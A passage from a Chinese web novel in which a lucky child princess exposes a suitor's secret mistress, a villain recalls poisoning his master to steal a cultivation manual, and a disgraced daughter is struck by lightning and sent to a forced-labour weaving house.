周景安强自镇定,矢口否认:“胡言乱语!我尚未婚配,哪里来的妻室!郡主定是听了什么小人的谗言,误会了我!”
“不对啊,”团团歪着小脑袋,“你不是前几个月才从那个什么凝香苑把人家接出来吗?”
“哦,对了!你娶她花了好多好多银子呢!哇,你家真有钱,每次娶老婆都花那么多!”
凝香苑三个字一出,周锦华眼皮猛地一跳,那是京城有名的歌舞坊!难怪儿子花银子如流水一样,原来竟是拿来填了这些!
他狠狠瞪了儿子一眼。
周景安看着父亲的脸色,额角渗出了冷汗,声音都尖厉了几分:“没有的事!就算你是郡主,也不能空口白牙,凭空污人清白!”
团团毫不留情:“原来你是一边娶老婆,一边仰慕书珺姐姐啊!”
周景安扑通一声跪倒:“父亲!宋公!莫要相信这黄口小儿之言!她这是凭空捏造!”
“绝无此事啊!什么凝香苑!我洁身自好,从来都没有去过那种地方啊!”
团团看着他惨白的脸:“你怎么这样啊!自己的家都不要!你不要老婆,难道连儿子也不要了?”
满堂皆惊。
“啊!”宋书珺在屏风后没忍住,轻声惊叫了出来,连忙抬手捂住了嘴。
周景安摇摇欲坠,她怎么什么都知道!
若不是留云有了我的子嗣,母亲又怎会同意将她接出来,让我金屋藏娇!
周锦华看着儿子的模样,心下了然,看来此事不假。
周景安抬头看向父亲铁青的面孔,眼前一黑,身形晃了晃,差点儿没跪住。
周锦华气得浑身发抖。
本来想得好好的,宋敬贤虽无官身,却地位尊崇,若是能与侯府联姻,必将大大有助于侯府的今后。
没曾想竟是这个结果。
被人当场揭破,儿子不但流连青楼,正室还没有呢,倒先养了个外室出来,连孩子都有了!
他瞪着团团,一口气堵在胸口,险些喷出血来。
宋敬贤缓缓开口:“周公子,郡主年幼,想必是不会凭空捏造出花枝巷、凝香苑这些名目的。你还有何话说?”
“宋公!我!”周景安张口欲辩,冷汗浸湿了内衫。
他想否认,想狡辩,但此事若想查证,实在是易如反掌。
岂是嘴上否认便能了结的?
周锦华又气又急,急忙起身站起,对着宋敬贤深深一礼,试图挽回:“宋公息怒!这定然是有什么误会!犬子年轻不懂事,想必是受了些狐朋狗友的蛊惑,一时糊涂……”
“糊涂?”宋敬贤淡淡打断他,“侯爷,若郡主所言不虚,令郎此番作为,已非年少轻狂可以遮掩。”
“一边外室子嗣俱全,一边却来求娶老夫的孙女。靖海侯爷这是视我宋家为何地?视书珺为何人?”
他每说一句,周锦华父子的头便更低一分。
“我宋敬贤的孙女,纵然不是什么金枝玉叶,也断不容旁人如此轻贱欺辱!”
宋敬贤声音陡然转厉:“这门亲事,不必再提!二位,请回吧!”
直接下了逐客令。
周锦华面如死灰,知道此事已再无转圜的余地,今日这人算是丢到家了。
他狠狠剜了一眼不成器的儿子,勉强拱了拱手:“是,请宋公息怒,本侯告辞。”
说罢,拖起跪在地上失魂落魄的周景安,灰溜溜的仓惶离去。
团团满意地拍了拍小手,跑到宋敬贤面前,邀功似的仰起小脸:“宋爷爷!我把他们赶跑啦!书珺姐姐不用嫁给那个坏蛋啦!”
宋敬贤脸上寒霜尽褪,伸手将团团揽到身边,摸了摸她的头:“团团说得对!今日多亏了你了。你书珺姐姐,确实该好好谢谢你。”
宋书珺领着弟弟从屏风后走了出来。
她对着团团深深一福:“团团妹妹,多谢你。”
若非团团仗义执言,她此生恐怕真的要葬送在那等伪君子手中了。
宋竹霖直接扑过来抱住团团的胳膊,小脸兴奋得通红:“团团你好厉害!几句话就把那个坏蛋吓跑啦!”
团团被夸大家夸得有些不好意思,笑得脸上酒窝深陷。
宋敬贤看着她:“可是团团啊,你怎么知道靖海侯家的事呢?我看周锦华那个样子,他自己都不知道他儿子做下的好事。”
团团想了想:“我就是知道嘛!”
宋敬贤微微一笑:“你可真是一个小福星啊!”
他挥了挥手:“你们去玩吧,今晚就在爷爷这里吃饭!吃完了再让他们送你回府!”
宋竹霖开心地拉起团团的手:“太好啦!团团咱们回去接着玩!”
宋书珺给祖父行礼:“请祖父莫要因他们再生气,孙女自去了。”
宋敬贤摆了摆手:“去吧。”
这京城的水,真是越来越浑了。
周家求亲是假,想借我这帝师之名稳固他靖海侯府的权势才是真。
只是他们千算万算,没算到会栽在一个五岁的小娃娃手里。
这个团团,真是不简单啊!
同一时间,大夏,国师府。
寝室内弥漫着一股浓重的草药味。
巫罗缓缓睁开了双眼。
“国师!你终于醒了!”
公孙止扑到床边,脸上是毫不掩饰的依赖和惊喜。
他自幼跟在巫罗身边,见巫罗的次数比见父亲公孙驰的多了不知道多少倍。
他质疑过自己神童转世的身份,却从来没有质疑过巫罗陪在自己身边的情分。
此次巫罗昏迷不醒,公孙止一直守在他病榻边,心急如焚。
侍立在一旁的道士将巫罗扶起,靠在床头。
“快!将药拿来!”
另一个道人立刻端来一碗药,公孙止接过来,捧到巫罗面前:“看来,这太医院的药还是有几分用处的,国师,把药喝了吧。”
巫罗看着碗中深褐色的药汁,心头猛地一跳:“滚开!”
他猛地一挥手。
“哐当——!”
药碗被狠狠打翻在地,药汁和瓷片碎裂四溅。
公孙止惊呆了:“国师!你怎么了?”
巫罗闭了闭眼:“殿下请回罢,我已经没事了。”
公孙止茫然站起,看了他一眼,转身走了出去。
巫罗看向窗外。
很久以前,也是这样一个午后。
我亲眼看着你,心灰意冷地跳下了万丈深渊,师兄。
第207章 也该有个了断了
我是师父最小的弟子,也是天赋最高的那个。
可师父看我的眼神,却总是带着一丝忧虑。
而他看师兄时,却全是赞赏和安心。
那日,师父将所有弟子都叫到面前。
他手中拿着那本《气运真解》的下卷对师兄道:“你心性纯良,持身以正。”
“今日,为师便将这下半卷传予你。望你谨守初心,顺应天道,护佑苍生。”
师兄下跪,双手接过:“弟子谨遵师命,绝不敢负师父所托。”
我心中怒火熊熊。
《气运真解》记载着所有操控气运的至高法门。
上卷是正统修习,下卷才是夺人气运的无上秘法!
为何我天资最高,师父却不将它传给我?
师父看了我一眼,叹了口气:“你天资聪颖,却总是贪图捷径,需谨记……”
后面的话,我一个字也没听进去,全是老生常谈的废话!
好,既然你不给,我就自己拿!
次日,师父要同师兄对剑切磋。
我在师父日常的饮食中,加入了一种能让人心神恍惚的花粉。
剂量非常小,只是让他反应稍慢,自己却察觉不到。
所有师门子弟齐聚,切磋开始。
以师父的修为,本不该有任何意外。
但就在师兄一剑刺来时,师父的动作慢了。
“嗤——”
剑锋划破了师父的胸口。
师兄大惊失色:“弟子失手!请师父恕罪!”
师父摆了摆手:“无妨,是为师自己一时恍惚。”
我看着师兄那满脸的歉疚,心中冷笑。
师父年纪大了,外伤也需服药调理。
每一次煎药侍奉,我都亲力亲为。
师兄们都赞我年纪最小,孝心最重。
在他受伤后的第三日,我端去了那碗足够侵蚀他心脉的药。
师父毫无防备,接过药碗,一饮而尽,还对我笑了笑:“辛苦你了。”
次日,师父的伤势骤然恶化。
他躺在床上,奄奄一息。
师兄跪在榻前,紧紧握着他的手,眼圈通红,一遍遍地说着:“师父,是弟子的错!是弟子学艺不精……”
师父看着他,嘴唇翕动,好像在他的耳边说了句什么,我没有听见。
之后师父便无力地闭上了双眼,手缓缓垂落。
师兄伏在师父身上,放声痛哭。
此后数日,所有的同门都对师兄心生怨怼,在他的背后议论纷纷。
甚至说他,刚继承了《气运真解》便迫不及待想取而代之了。
那日午后,师兄一人独自走到后山,神情恍惚。
我悄悄跟了过去。
悬崖上风很大,吹得他衣袂翻飞。
他听见我的声音,回头看我:“师弟,你也怨我吗?”
他或许是想听我安慰他吧。
但我开口了:“何止我一人,师兄,所有的师兄弟皆在怨你。”
“若不是你那一剑,师父怎会一病不起?师兄,你还有何颜面,立于这天地之间?”
他的脸色瞬间惨白如纸,眼里的光彩一点点熄灭。
“原来,连你也是这样想的。”
他看了看我,又看了看那深不见底的悬崖。
他笑了笑,向后一仰,直直坠入了黑暗的深渊。
我马上回去,在他的房中找到了那部《气运真解》的下半卷,扬长而去。
从此我便掌握了夺人气运的全部法门,风生水起,成为了大夏国师。
没想到啊,师兄,你居然没有死。
你改名换姓,藏身烈国,虽也贵为国师,却从不出头。
看来,这些年,你仍旧活在那可笑的内疚之中,画地为牢。
若非如此,我不可能不知道,当世还有你这样的高人在。
也好。
待我闭关修炼归来,咱们师兄弟,争执了一生,也该有个了断了。
巫罗吩咐道:“去禀告陛下,我要闭关。”
“是!”
宁王府私牢。
萧元珩站在庶弟萧元华的面前。
萧元华被关多日,身形削瘦,头发蓬乱,胡须满脸,浑身散发着难闻的霉味,早已没了从前的风采。
“大哥!”他扑到萧元珩的脚下,“我知道错了,你放我出去吧。”
“哪怕只是让我在王府里当个下人,也比关在这里强啊!大哥!求求你了,放我出去吧。”
“我只是受了那贱妇的蛊惑,一时糊涂了啊!大哥!”
萧元珩面无表情:“元华,你身为庶出,寸功未立,为何会肖想继承这宁王之位?”
萧元华身子一缩:“大哥,你是正室嫡出,自然不知道我这庶出之子的滋味。”
萧元珩眉头微蹙:“别跟我说这些!我是在问你,是谁在背后支持你,让你有了这等野心。”
萧元华仰起头看他:“大哥,我说了,你便放我出去吗?”
萧元珩毫无动容:“那得看你说了什么。”
萧元华心知,这是自己最后的机会。倘若这次不说,下次不知又要等到何时。
他缓缓退开:“多年以前,你出征归来,陛下厚赏,阖家庆贺,我在府中吃完你的庆功宴回到家中。”
“发现一个戴着青铜面具的人坐在我屋内。”
“他说,只要你不在了,就会扶持我坐上这宁王之位。”
萧元珩冷笑:“既然那人蒙面而来,你岂会如此轻信?”
“因为,他给我看了一样东西。”
“何物?”
萧元华犹豫半晌,轻轻吐出了两个字:“虎符。”
虎符乃调动大军所用,平时都是由陛下亲自掌管!
萧元珩脸色大变:“此话当真?”
萧元华点了点头:“拜你所赐,大哥,我曾亲眼见过,不会认错。”
萧元珩想了想:“之后呢?”
萧元华却开始顾左右而言他:“我本来也不想啊,大哥。”
“但那人说,嫡庶有别,庶子永远都不过是嫡子身边的一条狗,你若想今后再无人轻视你,便只能如此。”
“大哥,我真的只是一时糊涂!你放我出去吧!求你了!”
萧元珩俯身,逼视着他:“我问你,之后,他让你做了什么?”
萧元华脸色大变,倒退着缩到墙角,用力摇头,无论萧元珩再如何问,都不肯说一个字了。
萧元珩拂袖而去,来到了曾是自己的侧妃,方清研所居的静室。
方清研面无脂粉,头发花白,像是老了十几岁。
萧元珩直截了当:“你是否见过一个戴青铜面具的人?”
方清研脸色巨变:“你怎么知道?”
果然!
萧元珩继续问道:“他跟你说了什么?”
方清研看着他,幽幽地道:“王爷风采依旧啊。”
萧元珩皱了皱眉:“别废话。”
方清研丝毫不惧:“王爷想从我这里知道的事,我都可以告诉你。但你必须应准我两件事,否则我死都不会开口。”
“讲。”
“扶姝儿为嫡女,记入族谱,让她在那个臭丫头之上,为宁王府的嫡长女。”
“再给她寻一个门当户对的好亲事,姝儿何时风风光光地出嫁,我何时便说出一切,绝不隐瞒。”
第208章 死了这条心吧
萧元珩看着她,冷笑一声:“你身为侧妃,却与两个外男有染,连姝儿是谁的血脉都不清楚,还有脸跟我提扶她为嫡出?”
方清研脸色煞白。
萧元珩一步步逼近,方清研跌坐在椅中。
萧元珩盯着她的眼睛:“我宁王府的嫡女唯有团团一人。”
“姝儿这辈子都休想成为本王的嫡女,你死了这条心吧。”
方清研强撑着开口:“王爷难道不想知道这幕后之人是谁了?”
萧元珩转身向外走去:“纵然你不说,难道本王便查不出来吗?”
方清研瞬间乱了方寸:“王爷!姝儿她还好吗?让我去见见她吧,求求你了王爷!”
萧元珩头都没回:“你就老死在这里吧,休想迈出半步!”
那扇小门重新合拢,外面又传来了落锁的声音。
方清研的眼泪滑落面颊:“姝儿!我的姝儿!”
当晚,萧元珩将今日之事告知了程如安。
程如安犹豫半晌:“方氏所求固不可应,但姝儿年岁渐长,终日在府中这般拘着,终究不是长久之计。”
“近日凌霜阁的教养嬷嬷们回话,说她规矩了许多,比从前沉静懂事多了。”
“不如,便寻个家境殷实的庄户人家,远远地嫁了,离开京城。王爷你看如何?”
萧元珩点点头:“内宅之事你做主即可,她们母女心术不正,又都对团团心怀怨恨,将她打发得远一些,此生都不必再回京城。”
程如安默默点头。
不过几日,便相中了一门亲事。
对方是京城几百里外林阳县的一个田庄的主家,姓赵,家中有良田百余亩,还经营着两间绸缎铺子,虽非大富大贵,却也颇为富足。
赵公子是个读书人,虽未能考取功名,却也知书达理,家中人口简单,程如安细细查过,甚是满意。
她吩咐刘嬷嬷道:“去凌霜阁,将这门亲事告知四小姐。就说王府会为她备足嫁妆,让她好生待嫁。”
“是,”刘嬷嬷领命,走进了凌霜阁。
萧宁姝正坐在窗边,望着屋檐的一角发呆。
刘嬷嬷行了个礼:“给四小姐道喜了。”
“王妃为您定了门好亲事,是林阳县的赵家,良田店铺皆有,公子也是个读书人,四小姐嫁过去,便是明媒正娶的正妻。”
“往后啊,您就是正经的当家主母了。”
萧宁姝心中一惊,面上却不露声色:“多谢母亲为我操心。”
“刘嬷嬷,不知我能否出去走走?我娘如今在何处养病?我既要出嫁,总该去探望她,以表孝心。”
刘嬷嬷表情不变:“四小姐安心待嫁便是。”
“方侧妃如今在外静养,一切安好,不便打扰。”
“王妃吩咐了,您还是在这里等着出嫁便好。”说罢转身离去。
两个教养嬷嬷上前行礼:“给四小姐道喜!四小姐大喜啊!”
萧宁姝面露羞涩:“嬷嬷们说笑了。我有些乏了,想躺一躺,嬷嬷们自便吧。”
两个教养嬷嬷退了出去。
萧宁姝脸色大变。
伸手便想将桌上的一切扫落在地。
她顿了顿,又将手缩了回来。
不行,现下还不行,若传到了王妃耳中,恐怕又不知要如何磋磨我了。
林阳县?那是什么鬼地方?我听都没听过!
她眼中满是怨毒。
庄户人家?
我出身王府!就算是个庶女,也该配个官身!再不济也应是个京城中有功名的学子!
凭什么把我当要饭的一样,丢到那穷乡僻壤,配个种地的门户!”
她想起程如安那永远端庄温和的模样,想起团团如今已是郡主,心中恨意滔天。
是她们!就是她们夺走了原本属于我的一切!
是她们让我们母女分离,让我像个囚犯一样困在这区区院落!
娘她做了什么?如今人在哪里?
养病?鬼才信你们的话!
她死死攥着拳,身体微微发抖。
想把我就这样打发了?想让我就此认命?做梦!
之后,萧宁姝不再询问方清研的下落,也不再要求出门,只是安安静静地待在凌霜阁中。
她每日看着送来的嫁衣布料和首饰样子,满面笑容,还温顺地向教养嬷嬷请教出嫁的细节,姿态恭顺,挑不出一丝错处。
刘嬷嬷日日都去凌霜阁探望,见她如此,很是安心,只道这四小姐长大了,终于懂事了。
程如安听说后,也暗暗点头,如今都要出嫁了,终究是母女一场,便尽心尽力地为她操持,给她准备嫁妆,一应物事皆按庶女的规制,不曾苛扣,也未逾矩半分。
团团听说萧宁姝要嫁人,看着母亲清点着嫁妆箱子:“娘亲!以后她就不住在府里了吗?”
程如安点头:“对啊!以后啊,她就是那赵家的正妻了,娘亲也希望她今后一切顺遂。”
“哦!”团团全然没有放在心上。
很快,便到了出嫁这日。
萧元珩一早便入宫议事,萧宁辰在京郊大营,萧宁远和萧宁珣各自当差,府中只剩下程如安主持大局。
赵家迎亲的队伍算不得十分排场,却也敲锣打鼓,透着庄户人家的朴实。
花轿停在宁王府侧门外,引来不少街坊邻里驻足观望。
程如安雍容端庄,牵着团团,站在府门内给萧宁姝送嫁。
萧宁姝凤冠霞帔,大红盖头遮住了容颜,由婢女搀扶着,一步步走了出来。
她来到程如安面前,依礼深深一拜:“女儿拜别母亲。多谢母亲多年养育教导之恩。”
程如安伸手将她扶起:“往后你身为人媳,需谨守妇道,安分度日。”
“去吧,莫勿了吉时。”
团团在一旁眨着大眼睛,对这从没见过的场面满脸好奇。
原来,这就是出嫁啊!这么多人,真热闹!
萧宁姝一步步走向那顶略显简朴的大红花轿。
轿帘掀开,她俯身坐了进去。
喜娘高喊一声:“起轿——!”
锣鼓声更加喧闹,迎亲的队伍缓缓移动,周围看热闹的人越发多了起来。
“这是宁王府的姑娘出嫁?”
“好像是王府的庶女,不是嘉佑郡主。”
“废话!嘉佑郡主才几岁!肯定是那个庶女!”
突然,那刚刚合拢的轿帘猛地从里面掀开!
一道穿着大红嫁衣的身影,疯了般从花轿里冲了出来,一把扯掉了盖头!
第209章 从来没有这么生气过
萧宁姝鬓发微乱,神情扭曲,满脸的怨恨和疯狂。
锣鼓声骤然停歇。
众人全都静了下来。
她转身面向围观的百姓,抬手指向仍站在门内的程如安,声泪俱下,高声嘶喊:
“请各位父老给我做主!她!宁王妃程如安,表面贤良,实则心肠歹毒!”
“她苛待庶女,将我生母不知囚禁在何处,生死不明!”
“如今更是不顾我是王府血脉,逼我下嫁农户,意图毁我一生!”
“她处事不公,善妒成性!这宁王府,根本没有我们母女的容身之处啊!”
全场哗然!
所有人的目光,瞬间都望向了程如安。
“不会吧?宁王妃可是出了名的和气人儿!”
“可这姑娘哭得真惨啊!”
“是啊,虽说是个庶女,但好歹也是王府千金,嫁个庄户,是有些蹊跷。”
“别是有什么隐情吧?”
程如安的脸色顿时沉了下来。
萧二皱着眉上前几步,挡在了她和团团的身前。
团团一看就急了,大声喊道:“她胡说!我娘亲才不是呢!”
程如安在周遭无数道探究的目光中脸色逐渐发白。
方清研之事自是不能宣之于口,但正因如此,萧宁姝这场婚配确实无法令人信服。
刘嬷嬷越过萧二,走到了众人面前。
她指着萧宁姝,声音清亮:“四小姐!你怎能如此血口喷人!”
“王妃何曾苛待于你?你生母病重,只是送出去静养!何谈生死不明!”
“王妃仁厚,念你年幼,从未克扣过你。”
“还派了两个教养嬷嬷每日悉心教导,吃穿用度,哪一样给过你次的,锦衣玉食地养着你!
“你看看你身上这嫁衣的料子,再看看你头上手上的首饰,哪一点像是被苛待的模样?”
刘嬷嬷是王府中积年的老嬷嬷,自带着一股沉淀多年的气势。
众人看着萧宁姝身上确实不俗的嫁衣和首饰,不由得觉得她说的不假。
“老嬷嬷的话有理啊,这姑娘这一身,也值不少钱呢!”
“是啊,这细皮嫩肉的,哪里像吃过苦的。”
萧宁姝见势不妙,瞪着刘嬷嬷大喊:“你当然会这么说!你跟在她身边多年,同她本就是一伙的!”
“诸位莫要听她胡说,什么教养嬷嬷,那都是看着我的!她们根本不让我走出自己的院门一步!”
她又瞪向程如安:“什么锦衣玉食!你们几时见过王府千金嫁给庄户人家的?休要被她这副贤良淑德的样子给骗了!”
团团大喊一声:“你才骗人!”
她跑到嫁妆箱子旁,踮起脚尖,小手费力地去掀开箱盖,太沉了:“二叔叔,帮我把这些都打开!”
萧二走过去将箱子盖一一掀开。
金光灿灿的首饰头面,整整齐齐的锦缎布匹,整套的烛台、莲纹铜镜……一应俱全。
团团指着箱子里的东西:“这些都是我看着娘亲亲手给你准备的!你怎么能这么说她!”
周围人都凑上前看过去:“嚯!那么多首饰!”
“真齐全啊!”
“王妃这嫁妆可备得够厚实的!一个庶女,仁至义尽了。”
萧宁姝脸色一变,咬了咬牙,这是最后的机会了,娘,无论如何,我都要救你出来!
她对着周围人大喊:“我出身王府!无论我嫁给谁,这些东西都是我应得的!本来就是我的!”
她再度直指程如安:“你不是说我娘去养病了吗?那你说啊,我娘在哪里?”
“王府这么大,太医都请得来!我娘她养病为何还要送到外面?”
“今日你能让我娘出来见我,我便上轿出嫁,否则,休想我善罢甘休!”
萧二回头看向程如安,刘嬷嬷默然不语。
程如安脸上的血色尽褪。
方清研做了什么几人心里都明白,她如今的下场是罪有应得。
但对于王府,那是天大的丑事,万万不能公之于众。
萧宁姝见她们都沉默不语,更是变本加厉:“你们都看到了吧,她们根本说不出我娘她人在哪里!把我娘交出来!”
四周议论声四起。
“这姑娘说得有道理啊。”
“若是真养病,为何不能在府里?”
“可这嫁妆是够丰厚的啊!”
“嫁妆丰厚不代表人就没事啊!”
“这深宅大院啊,看来龌龊事不少呢!”
团团仰着小脑袋看着母亲,又看了看萧二。
她拽了拽萧二的衣袖:“二叔叔,那个黑婆婆去哪里了啊?”
萧二顿下身,在她耳边轻声道:“方侧妃做了很大的错事,所以王爷将她关起来了。”
“但这些事如果王妃娘娘说出来,王爷的声誉便要受损,所以王妃不能说。”
团团点了点头,明白了。
娘亲这是护着爹爹,所以才不说,但这个坏姐姐非要娘亲说。
萧宁姝继续大喊道:“把人交出来啊!母亲,王妃娘娘,你怎么不说话了?理屈词穷了吗?”
程如安身子微微颤抖,几乎站立不稳。
看着娘亲的委屈模样,团团生气了,很生气。
从来没有这么生气过!
明明是这个坏姐姐在说谎,为什么大家都用那种眼神看着娘亲?
天上怎么不来个雷劈了你!
正想着,原本晴朗的天空突然传来“轰隆”一声闷响!
众人吓了一跳,纷纷抬头,碧空如洗,哪来的雷声?
团团也抬起头看了看,咦?我只是狠狠想了一下,真来了?
正好!
她攥紧了小拳头,怒气冲冲地看着萧宁姝:“你再敢说一句假话,小心雷劈你!”
萧宁姝嗤笑一声:“你吓唬谁呢?我说的哪有假话?就是她苛待我!就是她害了我们母女!”
话音才落,“咔嚓——!!”
一道刺目的白光毫无征兆地撕裂晴空,精准地劈在萧宁姝脚前!
碎石飞溅,青烟冒起。
萧宁姝“啊”的尖叫一声,瘫坐在地。
她头顶的珠冠都被震裂了,华美的嫁衣被逸散的雷火灼出道道焦痕,脸上沾满灰尘,狼狈不堪。
所有人目瞪口呆。
“天、天谴啊!”
“这姑娘说的果然是假的!”
“那可是咱们烈国的仙使!”
“王妃给她备了这么厚的嫁妆,她竟这样污蔑嫡母!”
“连老天爷都看不下去了!”
萧宁姝浑身发抖地看着自己焦黑的衣角,一个字都说不出来了。
赵公子从迎亲的队伍中走上前来,对着程如安恭敬行礼:“请王妃恕罪!今日之事,在下看得分明。”
“我赵家虽是庄户人家,却也知礼义廉耻。这等忤逆不孝、当众诬蔑嫡母的女子,在下万万不敢娶!”
他转身俯视萧宁姝:“四小姐,这门亲事就此作罢!”说着从怀中取出婚书当场撕碎,“从此婚嫁各不相干!”
说罢竟是毫不留恋,对着迎亲的队伍一挥手:“我们走!”
赵家人迅速离去,连那顶花轿都弃之不顾。
众人对着失魂落魄的萧宁姝指指点点:
“活该!好好的亲事自己给作没了!”
“这等品性,往后谁家敢要?”
“真是把宁王府的脸都丢尽了!”
程如安拉起团团的手,摸了摸她的小脑袋,吩咐刘嬷嬷:“将四小姐送回凌霜阁严加看管,待王爷回府再发落。”
刘嬷嬷带着两个婆子将萧宁姝拖了进去。
程如安扫视众人:“让诸位见笑了。宁王府治家不严,本妃自会向王爷请罪。”
众人纷纷行礼:
“王妃言重了!”
“是那庶女自己不知好歹,与王妃何干?”
很快,众人散去,一切归为平静。
回府后,团团却突然开始胡言乱语,阖府皆惊。
第210章 万事皆有其代价
程如安搂着女儿,轻轻拍着她的后背。
刘嬷嬷端来一杯温热的牛乳,柔声道:“想来是今日受惊了,这个小姐平日最爱喝了。”
团团闻了闻:“好臭啊!”说完便猛地捂住了自己的嘴。
我明明不是这个意思啊!怎么回事嘛!
刘嬷嬷一愣,拿到鼻尖嗅了嗅,一脸困惑:“一点也不臭啊!小姐,你再试试?”
团团小鼻头翕动:“臭死啦!”伸手却接了过来,咕咚咕咚一饮而尽。
程如安脸上堆满了问号,臭……还喝?
“团团?”她担忧地摸了摸女儿的额头,“是不是哪里不舒服?”
团团从她的怀里滑了下来,急得直跺脚,想解释却脱口而出:“娘亲的手好热啊!”
程如安吓得急忙将手缩了回来,放在自己的额头上试了试。
不热啊,方才因为萧宁姝的事,在外面待得久了,明明比平时还凉一些啊。
萧二提着食盒进来:“小姐,厨房做了你最爱吃的桂花糕,说是这次还加了蜂蜜,你尝尝?”
团团扑了过去:“我最讨厌桂花糕了!”
萧二愣住了,僵立在原地,小姐不爱吃了?
“哦,那我送回去。”他刚转过身。
团团急得跑到他面前,劈手夺过了食盒:“我不吃嘛!”
她跑到桌旁,爬上锦凳,打开食盒取出一块便塞进了嘴里。
明明吃得香喷喷的,嘴里却是:“真难吃!太难吃了!”
程如安终于察觉到不对,急忙吩咐:“快!请王爷回府!”
半晌后,萧元珩急步走了进来。
团团开心地扑了过去:“爹爹!我一点儿都不想你!”
说完叹了口气,垂下了小脑袋。
萧元珩将她一把捞起,抱在怀里,看向程如安:“团团怎么了?”
他才从紫宸殿出来不久,身上还带着一股龙涎香的香气。
团团吸了口气:“爹爹臭**!一定是去了皇伯父的那个臭臭的紫宸殿!”
“那里最臭了,不是,我是说,特别臭!臭得像个粪坑!”
紫宸殿像粪坑?
萧元珩直接呆住。
萧二肩膀直抖,程如安抿着唇,用锦帕遮住了嘴。
团团急得在萧元珩的怀里都快扭成麻花了:“爹爹太臭了!”
她搂着父亲的脖子,在他的脸上蹭来蹭去:“爹爹的胡子一点都不扎人!”
“团团最讨厌爹爹抱了!”
她越说越乱,终于小嘴一扁,“哇”的一声哭了出来,把脸蛋埋进了萧元珩的脖颈里。
为什么我说的跟我想的不一样呢!我不要这样啊!
萧元珩和程如安都赶紧哄她,团团却越哭越凶。
正乱着,下人匆匆走入:“王爷,王妃,国师大人到访,说是有急事。”
萧元珩忙道:“快!将国师直接请到这里。”
“是。”
片刻后,楚渊进来了。
团团张了张嘴,还是喊了一声:“国师你走啦!”
楚渊一怔,想了想:“郡主,贫道今日的道袍好看吗?”
他今日的道袍是一身灰白色。
团团上上下下看了几眼:“太丑啦!”
说完又猛地摇头:“我是说,丑死啦!丑得跟大狼一样!”
楚渊也是一脸问号,大狼?谁是大狼?
萧二实在忍不住了,抬手捂住了嘴。
小团子一脸茫然地看了看大家,急得不知所措,又哭了起来。
萧元珩连忙轻拍她的后背:“别哭啊,团团,别着急。”
他看向楚渊:“国师请坐,本王也刚刚进府,不知团团究竟发生了何事。国师今日登门所为何事?”
楚渊落座:“贫道是担心郡主,才特意赶来。看来,贫道担心的事还是发生了。”
程如安急忙问道:“国师知道原委?您看这孩子,都急坏了。”
楚渊缓缓道来:“自从贫道听闻郡主在大夏时,吸纳了巫罗的修为,便一直有些担心。”
“巫罗修为深厚,郡主无端端受了这许多,十分不妥。”
“但郡主福运深厚,并未有何反应,贫道便没有提起。”
“今日见到晴天霹雳,后府中人又告知了我王府门口的情形,我便赶来了。”
他看向团团:“郡主可知,万事皆有其代价。”
“这口出反言,便是你今日气运外泄,晴空引雷的代价。”
他起身站起,摸了摸把脸埋进父亲怀中装死的团团:“莫要心急,十二个时辰一过,便会恢复。”
“今后呢,你要好好研习,如何收敛你的气运,才不会再遭反噬。”
原来是这
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样!好丢脸哦!
团团不肯抬头,闷闷地道:“我一点都不想学!我就要随便用!”
楚渊无奈摇头,看向萧元珩:“王爷,不必忧心,贫道告辞了。”
众人谢过了楚渊,看着团团,全都哭笑不得。
团团越发粘人,在萧元珩的怀里八爪鱼似的扒着不肯下地,嘴里还嘟嘟囔囔:“快放开我”。
夫妻俩看着口是心非的小团子,又是好笑又是担忧。
夜晚,胡言乱语了一日的团团终于睡熟了。
程如安轻轻给她掖好被角,走到了外间。
她看着丈夫,忧心忡忡:“王爷,姝儿今日闹出了这般动静,如何安置她才好?”
萧元珩负手立于窗前:“她既不顾王府颜面,不惜母女情分,当着满城百姓污你清誉,绝不可再留。”
“明日,便送她去官织坊。”
官织坊名义上是为宫廷和军队织造衣物的工坊,实则是收容犯罪女眷的所在。
一旦进去,终身织役,非死不得出。
萧元珩语气平淡:“那里有官兵把守,与外界隔绝。”
“每日从天未亮劳作到深夜,粗茶淡饭,麻衣草席。”
“她不是口口声声说王府苛待她么?到了那里,她自会知道什么才是真正的苛待。”
他顿了顿:“国师说得好,万事皆有其代价。”
“她既选了这条路,便该付出应有的代价。我宁王府养她至今,早已仁至义尽。”
程如安轻叹一声,点了点头。
次日一早,一辆灰布马车悄无声息地从宁王府侧门驶出,径直来到了官织坊。
萧宁姝被两个婆子拖下了车。
她惊恐地看着眼前锈迹斑斑的铁门,门口巡逻的兵士,以及里面传来的阵阵织机的轰鸣声,终于彻底慌了。
她挣扎着不肯走进去:“我不去!我是王府四小姐!你们不能这样对我!”
婆子们眼中全是厌恶:“四小姐,请吧。”
两人合力将她拖了进去,与看管的老妇简单交代了几句,转身离开。
铁门沉重地合拢,将萧宁姝的哭喊和不甘全都隔绝在内。
从此,京城再没有宁王府四小姐,只有官织坊里一个无名无姓的织女。
次日,团团终于恢复了正常,德正宫来人,请她进宫。
第211章 把他们给朕抓回来
德正宫?德妃娘娘?
团团问道:“叫我去做什么?”
那太监恭敬回禀:“十二皇子说,有礼物要送给郡主。德妃娘娘想请您进宫同十二皇子一见。”
“好啊!我也想他啦!娘亲!我想去!”
程如安微笑道:“公公请回吧,我们稍后便到。”
“是,”太监行礼而去。
团团跟着母亲来到了德正宫。
才走进大殿,萧进便冲了出来:“团团!你怎么总不来找我玩啊!你不在我好闷啊!”
团团看着他:“我出门了嘛!才回来没多久,十一呢?咱们叫他也一起来玩好不好?”
“好啊!”萧进抬起头:“母妃!”
德妃连忙吩咐:“去请十一皇子过来,告诉他小郡主进宫了。”
程如安给德妃行了礼:“娘娘,让他们去玩吧,臣妾陪着您说会儿话。”
德妃点头:“你们去吧,在我们跟前你们也玩不痛快。”
萧进开心地拉着团团往内殿跑去。
萧进做了一个小风筝,歪歪扭扭地,往团团手里一塞:“这是我亲手给你做的哦!”
“母妃说,快过年了,让我做礼物送给皇兄皇姐们,我第一个就给你做了这个!”
团团接过来,很高兴:“谢谢你哦!”
不多时,容妃领着萧林来了。
容妃和德妃,程如安闲话家常,三个许久没见的小娃娃玩成了一团。
半晌后,萧林想起了什么:“团团!猫狗园昨天新送来了几只大鸟你知道吗?可大啦!”
“大鸟?什么样子的?怎么送到了猫狗园?”
“母妃说是刚刚进贡来的,父皇还没看过,所以放在猫狗园了,等父皇看过了,就要挪到万灵苑去了。”
团团眼睛一亮:“那咱们去看看好不好!”
“好啊!”萧进道,“我也没见过呢。”
三个小团子一说,娘娘们欣然同意,吩咐了几个太监宫女跟着他们。
走进猫狗园,管事的宫人一看到团团,心里就咯噔一下,天哪,这个小祖宗怎么又来了?
